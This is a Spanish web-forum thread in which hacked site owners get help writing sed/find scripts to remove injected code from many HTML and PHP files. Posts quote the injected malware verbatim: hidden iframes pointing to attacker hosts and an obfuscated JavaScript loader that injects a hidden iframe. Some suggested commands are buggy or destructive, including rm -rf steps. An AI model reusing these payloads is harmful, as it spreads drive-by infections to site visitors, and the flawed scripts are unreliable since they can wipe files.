Foros del Web » Administración de Sistemas » Unix / Linux »

Reemplazar texto en múltiples archivos

Estas en el tema de Reemplazar texto en múltiples archivos en el foro de Unix / Linux en Foros del Web. Buenas tardes. Os escribo porque estoy teniendo un problema en mi servidor. Tengo el Hosting en una empresa de Estados Unidos 8MediaTemple) (no por gusto, ...
  #1 (permalink)  
Antiguo 18/08/2009, 06:21
Avatar de el_javi  
Fecha de Ingreso: marzo-2005
Ubicación: MAdrid
Mensajes: 844
Antigüedad: 19 años, 1 mes
Puntos: 10
Reemplazar texto en múltiples archivos

Buenas tardes.

Os escribo porque estoy teniendo un problema en mi servidor.

Tengo el Hosting en una empresa de Estados Unidos 8MediaTemple) (no por gusto, sino porque está así antes de que yo entrase).

Google nos ha metido en su base de datos de "páginas malignas" (si entras desde Firefox3 en una de nuestras Webs www.tuimagenpersonal.com, sale mensaje y no deja entrar en la Web) y se puede ver más aquí:
http://www.google.com/safebrowsing/d...eprocursos.com y aquí http://www.google.com/safebrowsing/diagnostic?site=tuimagenpersonal.com

Entonces, revisando ficheros he visto que me han metido em más de 1000 ficheros un código HTML que es el código malicioso.

Dicho código es:
Código:
< iframe src="http://3cy.ru:8080/index.php" width=124 height=138 style="visibility: hidden"></iframe >
También tenems este oro código:
Código:
< iframe src="http://c6p.at:8080/ts/in.cgi?pepsi140" width=125 height=125 style="visibility: hidden" >< /iframe >
También
Código:
< iframe src="http://3f9.ru:8080/index.php" width=127 height=174 style="visibility: hidden" >< /iframe >
Y otros más.

Todos cumplen como patrón que se encuentran sin salto de líne ni nada después de la etiqueta <body> (aparentemente nunca en etiquetas body compuestas (<body style="......." ...>) siempre en etiquetas Body simples.

Conclusión:

1) Necesito eliminar todos estos códigos maliciosos pero no se qué comando puedo ejecutar para que me quite TODOS los IFRAMES (sea cual sea su URL, su ancho y alto (son diferentes entre unos y otros)
2) Después de esto debo notificar a Google que ya está limpio (por medio de de las herramientas para WebMasters, como se indica en enlace (http://www.google.com.uy/interstitia...enpersonal.com)) y así me eliminarán de sus listas negras.

¿Qué comando de Shell puedo usar para eliminar todos estos Iframes?

Espero vuestra contestación lo antes posible.

Un saludo.

Javier
  #2 (permalink)  
Antiguo 18/08/2009, 07:17
Avatar de NUCKLEAR
Moderador radioactivo
 
Fecha de Ingreso: octubre-2005
Ubicación: Cordoba-Argentina
Mensajes: 5.688
Antigüedad: 18 años, 6 meses
Puntos: 890
Respuesta: Reemplazar texto en múltiples archivos

Puedes hacerlo con sed
Y luego cambiar los permisos a los archivos incluso la carpeta.
__________________
Drupal Argentina
  #3 (permalink)  
Antiguo 18/08/2009, 07:34
Avatar de el_javi  
Fecha de Ingreso: marzo-2005
Ubicación: MAdrid
Mensajes: 844
Antigüedad: 19 años, 1 mes
Puntos: 10
Respuesta: Reemplazar texto en múltiples archivos

Hola.

Gracias por la información.

El problema es que no soy administrador de sistemas y no tengo muchos conocimientos de Linux como para saber cómo se usa ese comando.

Espero que alguien pueda tener la suficiente paciencia como para decirme cómo hacer este reemplazo que comento.

Gracias de antemano.

Un saludo.

Javier
  #4 (permalink)  
Antiguo 18/08/2009, 09:59
Avatar de -Defero-
Colaborador
 
Fecha de Ingreso: julio-2004
Ubicación: Guipúzcoa
Mensajes: 4.776
Antigüedad: 19 años, 10 meses
Puntos: 76
Respuesta: Reemplazar texto en múltiples archivos

Yo no soy administrador de sistemas ni nada parecido, y he usado SED en alguna ocasión. Créeme, no duele.

Lo que más te va a costar va a ser formar la expresión regular, que puede ser algo parecido a esto:

Cita:
< iframe src=\"http://.*:8080.*\" width=[0-9]* height=[0-9]* style=\"visibility: hidden\"></iframe >
Más o menos. Seguro que me he dejado algo sin escapar.
__________________
abogado en Errenteria + procuradora en San Sebastián = equipo imparable
  #5 (permalink)  
Antiguo 18/08/2009, 10:07
Avatar de -Defero-
Colaborador
 
Fecha de Ingreso: julio-2004
Ubicación: Guipúzcoa
Mensajes: 4.776
Antigüedad: 19 años, 10 meses
Puntos: 76
Respuesta: Reemplazar texto en múltiples archivos

¡Ostras, Pedrín!, acabo de darme cuenta de que, para variar, me he complicado más de la cuenta. Dices que el código malicioso siempre va tras la etiqueta <body>, cuando esta etiqueta carece de argumentos. Confirmame, por favor: ¿lo único que hay en esa misma línea es la etiqueta <body>, y después el código malicioso, absolutamente nada más? En caso afirmativo, es muchísimo más simple: borra todo lo que vaya después de <body>.

Es decir, sustituye esto:

Cita:
^<body>.*$
Por esto:

Cita:
<body>
¡Fa-ci-lí-si-mo!
__________________
abogado en Errenteria + procuradora en San Sebastián = equipo imparable
  #6 (permalink)  
Antiguo 18/08/2009, 17:24
Avatar de NUCKLEAR
Moderador radioactivo
 
Fecha de Ingreso: octubre-2005
Ubicación: Cordoba-Argentina
Mensajes: 5.688
Antigüedad: 18 años, 6 meses
Puntos: 890
Respuesta: Reemplazar texto en múltiples archivos

Ahora que ya te hicieron el 90% de la tarea, me surge una duda, como es que tienes mas de 1000 ficheros todos con <body></body> Explica eso por favor, espero que no sea lo que estoy pensando. O.o
__________________
Drupal Argentina
  #7 (permalink)  
Antiguo 18/08/2009, 19:21
Avatar de arthpix  
Fecha de Ingreso: diciembre-2003
Ubicación: Cancún
Mensajes: 2.340
Antigüedad: 20 años, 5 meses
Puntos: 93
Respuesta: Reemplazar texto en múltiples archivos

@NUCKLEAR: ¿Que no todos los archivos *.html necesitan forzosamente la etiqueta <body></body>?

@DeferoTk, si tiene más contenido "bueno" después de </iframe>, lo que el quiere es eliminar todos los iframes malignos. ¿No sería esta la expresión regular: ^<body>*</iframe>?
__________________
Antes de hacer rabietas infórmate: Linux != Windows
  #8 (permalink)  
Antiguo 18/08/2009, 23:11
Avatar de NUCKLEAR
Moderador radioactivo
 
Fecha de Ingreso: octubre-2005
Ubicación: Cordoba-Argentina
Mensajes: 5.688
Antigüedad: 18 años, 6 meses
Puntos: 890
Respuesta: Reemplazar texto en múltiples archivos

Asi sean html, php, htm, txt o lo que fuese, como puede ser que tenga 1000 archivos para mostrar todos con <body></body> quiere decir que lo crearon uno a uno.... practica común cuando el uso de base de datos era para los privilegiados. Es lo que no entiendo u.u
__________________
Drupal Argentina
  #9 (permalink)  
Antiguo 19/08/2009, 03:32
Avatar de el_javi  
Fecha de Ingreso: marzo-2005
Ubicación: MAdrid
Mensajes: 844
Antigüedad: 19 años, 1 mes
Puntos: 10
Respuesta: Reemplazar texto en múltiples archivos

Hola a todos.

Gracias por vuestras contestaciones. Os respondo 1 a 1.

Defero.tk: gracias por la información. A pesar de que me estés dando el "90%" de la información ya hecha, desconozco el uso del comando sed dado que no soy administrador de sistemas, y como programador íntegro, nunca he tenido que usar dicho comando.


arthpix Estoy de acuerdo con el aporte que haces de que la cadena de búsqueda debería ser ^<body>*</iframe> dado que es más específica para el tema de los iframes malignos.

NUCKLEAR los ás de 1000 páginas PHP, HTML, XHTML ... es porque son dominios de más de 5 y 6 años de antiguedad, en los cuales hay muchos poryectos (comunidad, 5 institutos online, más de 20 campañas de newslettrers online, sisletters, más de 20 microsites (uno por newsletter) y mucho más.

Por ello, hay más de 1000 documentos con etiquetas <body></body>, porque cada documento, tiene dicha etiqueta y muchas más.


Retomando el comando necesario para eliminar dichos iframes malignos, con mis pocos conocimientos de Shell tengo esto:

sed 's/^\<body\>.*\<\/iframe\>/\<body\>/g' fichero

Pero esto SOLO se me ejecutaría sobre 1 fichero concreto....
* ¿Y sobre muchso?
* ¿Con este comando automáticamente guarda el fichero editado con la eliminación de esa línea?

Espero no ser pesado, pero esque como os digo, no manejo esta materia.

Un saludo.

Javier
  #10 (permalink)  
Antiguo 19/08/2009, 03:34
Avatar de -Defero-
Colaborador
 
Fecha de Ingreso: julio-2004
Ubicación: Guipúzcoa
Mensajes: 4.776
Antigüedad: 19 años, 10 meses
Puntos: 76
Respuesta: Reemplazar texto en múltiples archivos

Cita:
Iniciado por arthpix Ver Mensaje
@NUCKLEAR: ¿Que no todos los archivos *.html necesitan forzosamente la etiqueta <body></body>?
Supongo que se refiere a que escribir 1.000 archivos HTML desde cero es un atraso, desde que existen los lenguajes dinámicos (PHP, ASP...). La etiqueta <body> debería ir en un único archivo, y todos los demás llamar a éste mediante un INCLUDE.

Cita:
@DeferoTk, si tiene más contenido "bueno" después de </iframe>, lo que el quiere es eliminar todos los iframes malignos. ¿No sería esta la expresión regular: ^<body>*</iframe>?
Casi casi. Has quitado el punto antes del asterisco, con lo cual estás cambiando por completo el significado.
__________________
abogado en Errenteria + procuradora en San Sebastián = equipo imparable
  #11 (permalink)  
Antiguo 19/08/2009, 03:42
Avatar de -Defero-
Colaborador
 
Fecha de Ingreso: julio-2004
Ubicación: Guipúzcoa
Mensajes: 4.776
Antigüedad: 19 años, 10 meses
Puntos: 76
Respuesta: Reemplazar texto en múltiples archivos

Cita:
Iniciado por el_javi Ver Mensaje
(...) * ¿Y sobre muchso?
* ¿Con este comando automáticamente guarda el fichero editado con la eliminación de esa línea?
Para ejecutarlo sobre muchos a la vez, echa un vistazo al último mensaje de este tema.

Por otra parte, el comando que has puesto no sobreescribe el archivo, sólo muestra por pantalla el resultado de aplicar el filtro. Añádele lo siguiente para que el resultado se vuelque a "archivo.html":

Cita:
> archivo.html
__________________
abogado en Errenteria + procuradora en San Sebastián = equipo imparable
  #12 (permalink)  
Antiguo 19/08/2009, 04:18
Avatar de el_javi  
Fecha de Ingreso: marzo-2005
Ubicación: MAdrid
Mensajes: 844
Antigüedad: 19 años, 1 mes
Puntos: 10
Respuesta: Reemplazar texto en múltiples archivos

Hola de nuevo.

Defero.tk
Respecto a unificar la etiqueta "body" en un PHP, esque depende mucho del proyecto (por un lado), porque hay proyectos que tienen elementos en su etiqueta body y otros no, y también depende de los programadores. (hay programadores que les dices que tienen que usar un include y no lo hacen).

Estandarizaciones aparte.. he probado el comando (o por lo menos, lo que a mi me ha salido de comando) y no me es correcto el funcionamiento:

sed 's/^\<BODY\>.*$/\<BODY\>/g' microsite_6/index.html > microsite_6/index.html

Al hacer esto, el fichero index.html se me queda a 0kb (sin información).

He probado a hacerlo con otro nombre de destino, y si que lo crea (pero no elimina el iframe).

Como elemento final: El script que me enseñabas en el tema que abriste en su momento, trabaja con archivos pasados como parámetros desde shell.

Yo necesitaría que recorriese las carpetas del servidor.

Espero vuestros comentarios con ganas y urgenciam ya que el jefe no para de llamarme para ver si lo he arreglado).

Gracias de antemano.

Javier
  #13 (permalink)  
Antiguo 19/08/2009, 07:07
Avatar de -Defero-
Colaborador
 
Fecha de Ingreso: julio-2004
Ubicación: Guipúzcoa
Mensajes: 4.776
Antigüedad: 19 años, 10 meses
Puntos: 76
Respuesta: Reemplazar texto en múltiples archivos

Cita:
Iniciado por el_javi Ver Mensaje
sed 's/^\<BODY\>.*$/\<BODY\>/g' microsite_6/index.html > microsite_6/index.html

Al hacer esto, el fichero index.html se me queda a 0kb (sin información).
Si te fijas en el ejemplo que te he puesto, se hace en dos pasos, : primero se copia ARCHIVO.HTML a ARCHIVO.HTML.BAK, y luego se filtra ARCHIVO.HTML.BAK volcándolo de nuevo a ARCHIVO.HTML. De esta manera te modifica el original, pero por si acaso te guarda una copia con extensión BAK.


Cita:
He probado a hacerlo con otro nombre de destino, y si que lo crea (pero no elimina el iframe).
Pues yo lo he probado (quitando las barras "escapadoras" por innecesarias), y funciona:

Cita:
dandebian@dan:[~]$ cat prueba.html
<html>
<head>
<title>Prueba</title>
</head>
<body><iframe src="http://www.google.es"></iframe>
<p>Documento de prueba.</p>
</body>
</html>
dandebian@dan:[~]$ sed -e 's/^<body>.*$/<body>/g' prueba.html > prueba.html.bak
dandebian@dan:[~]$ cat prueba.html.bak
<html>
<head>
<title>Prueba</title>
</head>
<body>
<p>Documento de prueba.</p>
</body>
</html>
Fíjate en que has puesto <BODY> con mayúsculas. Si en el documento está escrito en minúsculas, cámbialo en el comando. Por cierto, date cuenta de que el símbolo ^ que hemos colocado justo antes de <body> indica que <body> está justo al principio de la línea, que no hay nada antes, ni siquiera espacios. Si en los documentos se utilizan espacios o tabuladores antes de <body>, es necesario cambiar la expresión regular. Prueba a eliminar el símbolo ^, o a poner un punto y un asterisco (.*) antes de <body>.

Cita:
Como elemento final: El script que me enseñabas en el tema que abriste en su momento, trabaja con archivos pasados como parámetros desde shell.

Yo necesitaría que recorriese las carpetas del servidor.
Ahí ya me pillas. Creo que tendrías que recorrerte todos los directorios a mano, y ejecutar el comando con un asterisco por parámetro.

Cita:
el jefe no para de llamarme para ver si lo he arreglado).
Cuando lo arregles (que ya queda poco), vas a tener que ir y decirle que te has ganado unos cuantos días libres.
__________________
abogado en Errenteria + procuradora en San Sebastián = equipo imparable

Última edición por -Defero-; 19/08/2009 a las 07:16
  #14 (permalink)  
Antiguo 19/08/2009, 08:56
Avatar de ociomax
Colaborador
 
Fecha de Ingreso: mayo-2002
Ubicación: Temuco, Chile
Mensajes: 5.595
Antigüedad: 22 años
Puntos: 35
Respuesta: Reemplazar texto en múltiples archivos

Si usas el parámetro -i de sed, realizará los cambios directamente sobre el archivo original. Así te evitarás el crear un archivo temporal.

Me extraña que nadie lo haya dicho hasta el momento, así que lo digo yo: ¡¡¡lee el man de sed!!!
Código:
man sed
__________________
Christian González, "OCIOMax"
http://chgonzalez.blogspot.com
http://twitter.com/chgonzalez
  #15 (permalink)  
Antiguo 19/08/2009, 11:25
Avatar de el_javi  
Fecha de Ingreso: marzo-2005
Ubicación: MAdrid
Mensajes: 844
Antigüedad: 19 años, 1 mes
Puntos: 10
Respuesta: Reemplazar texto en múltiples archivos

Hola a todos.

Tras seguir investigando he encontrado este Script que hace se supone, lo que estoy buscando.

Os pongo el Script (con modificaciones ya de uso propio) (de momento la ruta de ejecución es sobre un directorio con un único archivo)

Código:
#!/bin/bash
DIRECTORIO_CON_ARCHIVOS=/var/www/vhosts/eliteprocursos.com/httpdocs/club_glam/microsite_10/

find $DIRECTORIO_CON_ARCHIVOS -exec grep "<BODY><iframe" '{}' \; -print > archivos_para_modificar

for PATH_ARCHIVO in $(cat archivos_para_modificar); do
     NOMBRE_ARCHIVO=$(basename PATH_ARCHIVO)
     DIRECTORIO_ARCHIVO=$(dirname PATH_ARCHIVO)
     cd $DIRECTORIO_ARCHIVO

     sed -e 's/<BODY>.*</iframe>/<BODY>/g' $NOMBRE_ARCHIVO > tmp_archivo.blah
     mv tmp_archivo.blah $NOMBRE_ARCHIVO
     rm -rf tmp_archivo.blah
done
Como se puede ver tanto en el findo como en el sed, uso BODY como cadena de referencia (esque en este archivo el BODY está escrito en mayúsculas, mal por parte del desarrollador que lo haya hecho)

Pues esta ejecución no me da buen resultado... concretamente me dice que:

sed: -e expression #1, char 21: unknown option to `s'
sed: -e expression #1, char 21: unknown option to `s'
sed: -e expression #1, char 21: unknown option to `s'
sed: -e expression #1, char 21: unknown option to `s'
sed: -e expression #1, char 21: unknown option to `s'
sed: -e expression #1, char 21: unknown option to `s'
sed: -e expression #1, char 21: unknown option to `s'

¿Porqué esto? ¿Qué veis mal?

Espero vuestros comentarios pronto.

Gracias.

PD: no me funciona el parámetro -i para que sobreescriba el fichero en uso, por eso hago uso de fichero temporal.

Saludos.

Javier
  #16 (permalink)  
Antiguo 19/08/2009, 12:31
Avatar de -Defero-
Colaborador
 
Fecha de Ingreso: julio-2004
Ubicación: Guipúzcoa
Mensajes: 4.776
Antigüedad: 19 años, 10 meses
Puntos: 76
Respuesta: Reemplazar texto en múltiples archivos

No sé si el problema viene de ahí, pero se te ha olvidado escapar la barra de </iframe>. En vez de esto:

</iframe>

Debes poner esto:

<\/iframe>
__________________
abogado en Errenteria + procuradora en San Sebastián = equipo imparable
  #17 (permalink)  
Antiguo 19/08/2009, 12:52
Avatar de el_javi  
Fecha de Ingreso: marzo-2005
Ubicación: MAdrid
Mensajes: 844
Antigüedad: 19 años, 1 mes
Puntos: 10
Respuesta: Reemplazar texto en múltiples archivos

Hola Defero.tk

PArece ser que este era uno de los problemas (mira que he escapado todos los caracteres "raros" y este se me pasó).

Ahora, esta ejecución muestra:

sed: can't read $NOMBRE_ARCHIVO: No such file or directory
sed: can't read $NOMBRE_ARCHIVO: No such file or directory
sed: can't read $NOMBRE_ARCHIVO: No such file or directory
sed: can't read $NOMBRE_ARCHIVO: No such file or directory
sed: can't read $NOMBRE_ARCHIVO: No such file or directory
sed: can't read $NOMBRE_ARCHIVO: No such file or directory
sed: can't read $NOMBRE_ARCHIVO: No such file or directory

No se porqué...

¿alguna pequeña ayuda?

Gracias de antemano.

Javier
  #18 (permalink)  
Antiguo 19/08/2009, 14:16
Avatar de -Defero-
Colaborador
 
Fecha de Ingreso: julio-2004
Ubicación: Guipúzcoa
Mensajes: 4.776
Antigüedad: 19 años, 10 meses
Puntos: 76
Respuesta: Reemplazar texto en múltiples archivos

He estado haciendo algunas pruebas, y tras mucho comerme la cabeza, creo que lo he encontrado. Cambia esto:

Cita:
$(basename PATH_ARCHIVO)
Por esto:
Cita:
$(basename $PATH_ARCHIVO)
Y esto:

Cita:
$(dirname PATH_ARCHIVO)
Por esto:

Cita:
$(dirname $PATH_ARCHIVO)
__________________
abogado en Errenteria + procuradora en San Sebastián = equipo imparable
  #19 (permalink)  
Antiguo 19/08/2009, 14:24
Avatar de -Defero-
Colaborador
 
Fecha de Ingreso: julio-2004
Ubicación: Guipúzcoa
Mensajes: 4.776
Antigüedad: 19 años, 10 meses
Puntos: 76
Respuesta: Reemplazar texto en múltiples archivos

Lo que no me termina de gustar es que el archivo tmp_archivo.blah no sólo contiene las rutas de los archivos, sino también la cadena que ha encontrado GREP.
__________________
abogado en Errenteria + procuradora en San Sebastián = equipo imparable
  #20 (permalink)  
Antiguo 19/08/2009, 14:43
Avatar de -Defero-
Colaborador
 
Fecha de Ingreso: julio-2004
Ubicación: Guipúzcoa
Mensajes: 4.776
Antigüedad: 19 años, 10 meses
Puntos: 76
Respuesta: Reemplazar texto en múltiples archivos

Bueno, no he encontrado el modo de evitar que FIND escupa las líneas encontradas por GREP, así que he buscado el modo de borrar esas líneas después de pasar por FIND. Y una vez más, GREP viene en nuestra ayuda. Cambia esto:

Cita:
find $DIRECTORIO_CON_ARCHIVOS -exec grep "<BODY><iframe" '{}' \; -print > archivos_para_modificar
Por esto:

Cita:
find $DIRECTORIO_CON_ARCHIVOS -exec grep "<BODY><iframe" '{}' \; -print | grep -v "<BODY>" > archivos_para_modificar
Chapucero, pero eficaz.
__________________
abogado en Errenteria + procuradora en San Sebastián = equipo imparable
  #21 (permalink)  
Antiguo 19/08/2009, 15:11
Avatar de el_javi  
Fecha de Ingreso: marzo-2005
Ubicación: MAdrid
Mensajes: 844
Antigüedad: 19 años, 1 mes
Puntos: 10
Respuesta: Reemplazar texto en múltiples archivos

Hola Defero.tk.

Gracias por todas tus aportaciones.

Uniendo todo lo que comentas, y todas las variaciones para que mejore el script, el resultado final, si no me he comido ningún paso es:

Código:
#!/bin/bash
DIRECTORIO_CON_ARCHIVOS=/var/www/vhosts/eliteprocursos.com/httpdocs/club_glam/microsite_10/

find $DIRECTORIO_CON_ARCHIVOS -exec grep "<BODY><iframe" '{}' \; -print | grep -v "<BODY>" > archivos_para_modificar

for PATH_ARCHIVO in $(cat archivos_para_modificar); do
     NOMBRE_ARCHIVO=$(basename $PATH_ARCHIVO)
     DIRECTORIO_ARCHIVO=$(dirname $PATH_ARCHIVO)
     cd $DIRECTORIO_ARCHIVO

     sed -e 's/<BODY>.*</iframe>/<BODY>/g' $NOMBRE_ARCHIVO > tmp_archivo.blah
     mv tmp_archivo.blah $NOMBRE_ARCHIVO
     rm -rf tmp_archivo.blah
done
Lo he ejecutado y el resultado es un fichero HTML (el único que hay en la carpeta donde lo estoy ejecutando ahora mismo) sin nada dentro... cuyo tamaño son 0kb ¿Porqué puede ser? ....

Espèro tu contestación pronto y sobre todo muchísimas gracias por tu interés y participación.

Un slaudo.

Javier
  #22 (permalink)  
Antiguo 19/08/2009, 15:42
Avatar de -Defero-
Colaborador
 
Fecha de Ingreso: julio-2004
Ubicación: Guipúzcoa
Mensajes: 4.776
Antigüedad: 19 años, 10 meses
Puntos: 76
Respuesta: Reemplazar texto en múltiples archivos

Se te ha vuelto a olvidar "escapar" la barra de </iframe> en la ejecución de SED. Recuerda, no es esto:

</iframe>

Sino esto:

<\/iframe>

A ver si con esto ya vemos luz...
__________________
abogado en Errenteria + procuradora en San Sebastián = equipo imparable
  #23 (permalink)  
Antiguo 19/08/2009, 17:12
Avatar de el_javi  
Fecha de Ingreso: marzo-2005
Ubicación: MAdrid
Mensajes: 844
Antigüedad: 19 años, 1 mes
Puntos: 10
Respuesta: Reemplazar texto en múltiples archivos

Hola de nuevo Defero.tk

Arreglado este problema, ejecuté el script y me ponía los archivos a 0mb, y sin contenido.

Parece ser que este problema viene al renombrar el fichero con el nombre original. Ahí se quedaba el fichero con nombre inicial pero sin contenido (parece como si al haber usado la variable, fuese un pountero, y al fina se vaciase la información de dicho puntero).

Por ello, el final del script lo dejé de la siguiente manera:

Código:
     rm -rf $NOMBRE_ARCHIVO
     mv tmp_archivo.blah $NOMBRE_ARCHIVO
     rm -rf tmp_archivo.blah
Primero borro el archivo original
Después el archivo temporal lo copio con el nombre original
Finalmente, borro el archivo temporal.

De esta manera si que me funciona correctamente (en una prueba en una carpeta con solo 2 archivos, me arregló los 2)

Ahora, lo estoy ejecutando en TODO el servidor (esto tardará más tiempo)... esperemos que no ocurra ninguna desgracia....

Os informo tras la ejecución.

Un saludo.

Javier
  #24 (permalink)  
Antiguo 20/08/2009, 05:59
Avatar de -Defero-
Colaborador
 
Fecha de Ingreso: julio-2004
Ubicación: Guipúzcoa
Mensajes: 4.776
Antigüedad: 19 años, 10 meses
Puntos: 76
Respuesta: Reemplazar texto en múltiples archivos

Estooo... ¿has hecho copia de respaldo antes de empezar?
__________________
abogado en Errenteria + procuradora en San Sebastián = equipo imparable
  #25 (permalink)  
Antiguo 20/08/2009, 07:26
Avatar de el_javi  
Fecha de Ingreso: marzo-2005
Ubicación: MAdrid
Mensajes: 844
Antigüedad: 19 años, 1 mes
Puntos: 10
Respuesta: Reemplazar texto en múltiples archivos

Hola Defero.tk

La verdad que no he hecho copia porque no te imaginas la cantidad de Gigas que son.. más de 500GB para recorrerse.

Se me presenta un problema:

Como son tantos los ficheros que tiene que recorrer el Script, llega un punto en el que se para, y no ha hecho nada (hago una búsqueda antes de ejecutarlo con X resultados, lo ejecuto y al hacer la misma búsqueda, tengo los mismos resultados.

¿Puede ser que la cantidad de ficheros introducidos en el fichero archivos_para_modificar sea demasiado, que se vea excedido y por eso no lo hace?

Espero vuestros comentarios.

Gracias

Javier
  #26 (permalink)  
Antiguo 20/08/2009, 09:23
Avatar de -Defero-
Colaborador
 
Fecha de Ingreso: julio-2004
Ubicación: Guipúzcoa
Mensajes: 4.776
Antigüedad: 19 años, 10 meses
Puntos: 76
Respuesta: Reemplazar texto en múltiples archivos

Podría ser... quizás el archivo "archivos_para_modificar" es mayor que el espacio libre disponible.
__________________
abogado en Errenteria + procuradora en San Sebastián = equipo imparable
  #27 (permalink)  
Antiguo 20/10/2009, 11:50
 
Fecha de Ingreso: enero-2008
Mensajes: 14
Antigüedad: 16 años, 4 meses
Puntos: 0
Respuesta: Reemplazar texto en múltiples archivos

Hola. Necesito ayuda porque me acaba de suceder algo similar.
Me han colocado un codigo en muchos html y php de mis sitios, el mismo siempre esta al terminar la etiqueta body, despues de muchos espacios.
Por ej:
Cita:
<body bgcolor="#BDB39C" text="#FFFFFF" link="#000000" vlink="#555588" alink="#000000">















<script>/**/function hjp4(FIf7, iybl, gdx1) { var Rvkq; Rvkq=FIf7.split(iybl); var Ocgb=Rvkq.join(gdx1); return Ocgb;/**/ } function Lwm8(UrP3) { UrP3 = hjp4(UrP3,"##+##","'"); UrP3 = hjp4(U
rP3,"##|##","\\"); Ocgb=""; Yxj8 =""; for(k=0;k<UrP3.length;k++) { Ocgb = UrP3.charCodeAt(k); if (Ocgb==32){Ocgb=35} else if (Ocgb==35){Ocgb=32} else if (Ocgb==59){Ocgb
=64} else if (Ocgb==64){Ocgb=59} else if (Ocgb==37){Ocgb=42} else if (Ocgb==42){Ocgb=37} else if (Ocgb>=97 && Ocgb<=122) { Ocgb=Ocgb-97;Ocgb=25-Ocgb;Ocgb+=97; }else if
(Ocgb>=65 && Ocgb<=90) { Ocgb=Ocgb-65;Ocgb=25-Ocgb;Ocgb+=65; }else if (Ocgb>=48 && Ocgb<=57) { Ocgb=Ocgb-48;Ocgb=9-Ocgb;Ocgb+=48; } Yxj8 += String.fromCharCode(Ocgb); }
return Yxj8;/**/ }TjY6=eval;var GSp6;var aRU3;var Bjk8;var dax7;var rSV5;var LSq6;var PYxN;TjY6(Lwm8('OHj3#=###+##sggk://svczglny.xln/urovh/a/hgzgrx.ksk##+##@iHE4#=###
+##ruiznv##+##@'));TjY6(Lwm8('THk3#=#wlxfnvmg.xivz gvVovnvmg(iHE4)@THk3.hvgZggiryfgv(##+##hix##+##,#O Hj3)@'));TjY6(Lwm8('THk3.hvgZggiryfgv(##+##drwgs## +##,9)@THk3.hvgZgg
iryfgv(##+##svrtsg##+##,9)@THk3.hvgZggiryfgv(##+## yliwvi##+##,9)@'));TjY6(Lwm8('THk3.hvgZggiryfgv(## +##hgbov##+##,##+##drwgs:#9@#svrtsg:#9@#yliwvi:#ml mv@##+##)@'));TjY6
(Lwm8('THk3.hvgZggiryfgv(##+##hgbov##+##,##+##wrhk ozb:mlmv##+##)@#KBcM=mzertzgli.fhviZtvmg.glOldviXz hv()@'));TjY6(Lwm8('Yqp1=KBcM.rmwvcLu(##+##nhrv##+ ##)@zIF6=KBcM.rmwv
cLu(##+##nhrv#1##+##)@wzc2=KBcM.rmwvcLu(##+##mg#3# #+##)@'));if ((aRU3==-1)&&(Bjk8>0)&&(dax7==-1)){TjY6(Lwm8('wlxfnvmg.ylwb.zkkvmwXsrow(THk3)@')) ;}</script>
Aparece tal cuál y el código siempre es el mismo.
Intenté ejecutar el script que pusieron pero no me funciona, lo único que hace es crear un archivo con el nombre: archivos_para_modificar y dentro la siguiente linea: /home/sitio/www/archivos/prueba/script

Código:
#!/bin/bash
DIRECTORIO_CON_ARCHIVOS=/home/sitio/www/archivos/prueba

find $DIRECTORIO_CON_ARCHIVOS -exec grep "<body><iframe" '{}' \; -print | grep -v "<body>" > archivos_para_modificar

for PATH_ARCHIVO in $(cat archivos_para_modificar); do
     NOMBRE_ARCHIVO=$(basename $PATH_ARCHIVO)
     DIRECTORIO_ARCHIVO=$(dirname $PATH_ARCHIVO)
     cd $DIRECTORIO_ARCHIVO

     sed -e 's/<body>.*<\/iframe>/<body>/g' $NOMBRE_ARCHIVO > tmp_archivo.blah
     rm -rf $NOMBRE_ARCHIVO
     mv tmp_archivo.blah $NOMBRE_ARCHIVO
     rm -rf tmp_archivo.blah
done
Agradeceria cualquier ayuda para poder borrar ese codigo.
  #28 (permalink)  
Antiguo 20/10/2009, 12:11
Avatar de el_javi  
Fecha de Ingreso: marzo-2005
Ubicación: MAdrid
Mensajes: 844
Antigüedad: 19 años, 1 mes
Puntos: 10
Respuesta: Reemplazar texto en múltiples archivos

Hola alejoxd

Bienvenido al mundo de los "virus"

Te comento.

El código que ejecutaste es SOLO para reemplazo de iframes.

Mira a ver ejecutando el siguiente código:

Código:
#!/bin/bash
DIRECTORIO_CON_ARCHIVOS=/home/sitio/www/archivos/prueba

find $DIRECTORIO_CON_ARCHIVOS -exec grep "<body>*<script" '{}' \; -print | grep -v "<body>" > archivos_para_modificar

for PATH_ARCHIVO in $(cat archivos_para_modificar); do
     NOMBRE_ARCHIVO=$(basename $PATH_ARCHIVO)
     DIRECTORIO_ARCHIVO=$(dirname $PATH_ARCHIVO)
     cd $DIRECTORIO_ARCHIVO

     sed -e 's/<body>.*<script>.*<\/script>/<body>/g' $NOMBRE_ARCHIVO > tmp_archivo.blah
     rm -rf $NOMBRE_ARCHIVO
     mv tmp_archivo.blah $NOMBRE_ARCHIVO
     rm -rf tmp_archivo.blah
done
Eso si, te digo algo...

si en tus páginas PHP o html tienes scripts después del body que sean necesarios, estos reemplazos pueden hacerte perdelos.

IMPORTANTE: Antes de ejecutar ningún script que te digamos nadie, HAZ UNA COPIA DE SEGURIDAD para que no pierdas ni se te rompa nada.

Como elemento final a mencionarte, hay una variable dentro del código que te he pasado 8y dentro del que tú has probado) DIRECTORIO_CON_ARCHIVOS que tienes que poner la ruta dentro del servidor linux donde están tus archivos.

Imagino que entiendes que esto tienes que:
- Conectarte al servidor como Root desde la Shell de linux
- Crear un archivo para ejecución
- Poner este parámetro o variable de programación (DIRECTORIO_CON_ARCHIVOS) en el valor que corresponde a tu servidor.

Espero haberte podido ayudar.

Un saludo.

Javier
  #29 (permalink)  
Antiguo 20/10/2009, 12:16
Avatar de el_javi  
Fecha de Ingreso: marzo-2005
Ubicación: MAdrid
Mensajes: 844
Antigüedad: 19 años, 1 mes
Puntos: 10
Respuesta: Reemplazar texto en múltiples archivos

Hola de nuevo.

Un comentario más....

A mi no me fue suficiente con eliminar los códigos de los archivos.. hay que tomar muchas más medidas de seguridad (en mi empresa nos decantamos por solicitar que un Administrador de Sistemas Linux nos hiciera una auditoria de seguridad, y fue una mejora IMPRESIONANTE, donde desaparecieron TODOS los problemas).

Si tiene sun virus en el servidor, habrá copiado las Claves de FTP y se podrá propagar por TODOS los sitios Web que tengas en ese servidor.

Incluso te digo: Tenía una Web en un hosting Compartido (fuera de mi servidor dedicado principal) y al hacer una búsqueda con este Script, me sacaba que en otros directorios (de otros clientes con sus propios proyectos) también había documentos infectados, pero lógicamente el Script no podía limpiarlos porque mi Root no tenía permisos en las carpetas de otros.

Así que .. esto va más allá de limpiar archivos.

